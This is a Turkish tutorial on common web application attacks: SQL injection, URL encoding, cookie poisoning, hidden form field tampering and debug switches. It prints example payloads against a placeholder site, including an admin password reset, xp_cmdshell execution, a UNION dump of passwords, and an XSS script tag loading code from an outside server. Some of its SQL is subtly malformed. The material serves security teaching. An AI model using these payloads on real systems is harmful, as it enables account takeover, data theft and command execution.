* SQL Injection
Kullanıcıdan alınan girdilerin iyi kontrol edilmemesi ve iş
mantığı ile uygulama mantığının birbirinden
iyice ayrılmaması sonucu, saldırganlar uygulamaya direk SQL komutları
gönderebilir ve database’in içinden bilgi alabilir, bilgileri
.değiştirebilirler.
Örneğin;
http://www.Hedef.com/chagepwsd?pwd=şifre&newpwd=şifreyeni&uid=123323453
Yukarıdaki URL’ye bakılacak olursa, uygulama üç(3)
parametre alarak şifre değişikliği yapıyor. Muhtemelen
arka planda databasee şöyle bir SQL komutu veriliyor;
UPDATE usertable SET pwd=$INPUT(pwd)’ WHERE uid=$INPUT(uid); .
Eğer uygulamada giriş kontrolu yapılmıyorsa aşağıdaki
SQL URL’ye gömülerek Administrator şifresi resetlenebilir;
http://www.Hedef.com/chagepwsd?pwd=şifre&newpwd=şifreyeni&uid=123323453+or+uid+like%admin%;--%00
Yukarıdaki SQL saldırganın yaptığı değişiklik
ile aşağıdaki hali aldı;
UPDATE usertable SET pwd=$INPUT(pwd) WHERE uid=$INPUT(uid) or uid=%admin%;
Örnekleri arttırmak mümkün;
http://www.Hedef.com/script?pwd=ngomo&uid=1+or+uid+like%25admin%25;--%00
http://www.Hedef.com/script?0;insert+into+pg_shadow+usename+values+(hoschi)
http://www.Hedef.com/script?0;EXEC+master..xp_cmdshell(cmd.exe+/c)
http://www.Hedef.com/script?size=0+union+select+1,1,1,concat(uname||-||passwd)+as+i_name+1+1+from+usertable+where+uname+like+25
-------------------------------
* URL Encoding
Web uygulamalarında; uygulama ile browser’lar arasında bilgi
aktarımı iki biçimde olur. Bilgiler ya URL satırında
taşınır ya da HTTP başlığına(6) gömülür.
URL satırında her türlü veri taşınabileceği
için SQL injection metodunda olduğu gibi normalde reddedilecek veriler
URL encoding metodu ile sunucuya iletilebilir ve uygulama farklı şeylere
zorlanabilir. .
Örneğin;
http://www.myserver.c0m/script.php?mydata=%3cscript%20src=%22http%3a%2f%2fwww.yourserver.c0m%2fbadscript.js%22%3e%3c%2fscript%3e
<script src="http://www.yourserver.com/badscript.js"></script>
ya da http://www.myserver.c0m/search.asp?lname=CWDoktoray%27%3bupdate%20usertable%20set%20passwd%3d%27hAx0r%27%3b--%00
SELECT lname, fname, phone FROM usertable WHERE lname=CWDoktoray;update usertable
set passwd=hAx0r
--------------------------------
* Cookie Manipulation (Cookie Poisoning)
Cookie(7) bilgilerini değiştirerek sunucudan başka kullanıcıların
bilgilerini almak, ya da bir başkası gibi davranmak mümkündür.
Örneğin;
Cookie içine konmuş kullanıcı adını değiştirmek
ya da admin hakkını aktive etmek gibi
Cookie: lang=eng-us; ADMIN=no;y=1;time=12:30GMT aşağıdaki sekilde
degistirilerek ADMIN hakki alinabilir;
Cookie: lang=eng-us; ADMIN=YES;y=1;time=16:30GMT
---------------------------------
* HTML Form Manipulation
Web uygulamalarında kullanıcılara sunulan formlar, browserlar
tarafından sunucuya bir HTTP isteği olarak aktarılırlar,
ki bazen bu formların içlerinde ekranda kullanıcıya gösterilmeyen
fakat saklanan gizli alanlar (HIDDEN VALUE), bir alana girilecek veri tipi ve
uzunluğunu sınırlayan kısıtlar konulabilir. Bu kontroller
ve gizli veriler, Web sayfasını kaydetmek kaynak kodunu açarak
ve bu alanları istenildiği gibi değiştirilmesi suretiyle
atlatılabilir. Daha sonra bu değiştirilmiş sayfa sunucuya
tekrar gönderilebilir ve sunucu bu şekilde normalde müsade etmediği
komutları icra etmeye zorlanabilir.
Örneğin;
<input name=”masteraccess” type=”hidden” value=”N”>
şeklindeki bir gizli alan <input name=”masteraccess” type=”hidden”
.
value=”Y”> şeklinde değiştirilip sunucuya gönderilebilir.
.
-------------------------------------.
* Debug Commands
URL ya da HTML koduna gömülmüş ve uygulamayı debug(9)
moduna geçirmeyi sağlayan switch şeklindeki değişkenler,
uygulama hakkında birçok şey öğrenmek için saldırganlar
tarafından kullanılabilir
Örneğin;
http://www.Hedef.com/acc_kontrol?ID=1227dsddi8qjgqllkjdlas&Disp=noşu
biçime dönüştürülebilir,
http://www.Hedef.com/acc_kontrol?Debug=on&ID=1227dsddi8qjgqllkjdlas&Disp=no
ya da
<TABLE BORDER=0 ALIGN=CENTER CELLPADDING=1 CELLSPACING=0>
<FORM METHOD=POST ACTION="http://www.Hedef.com/poll?1688591" TARGET="sometarget"
DEBUG=”666”>
<INPUT TYPE=HIDDEN NAME="Poll" VALUE="1122"> .
<!-- Question 1 --> .
şeklinde kod içine saklanmış bir değişken değeri
ile oynanarak debug moduna geçmeye zorlanabilir, her ne kadar bu şekilde
bir bulgu yapmak bir öncekine nazaran çok daha zor olsa da, saldırganlar
tarafından sıkça denenmektedir.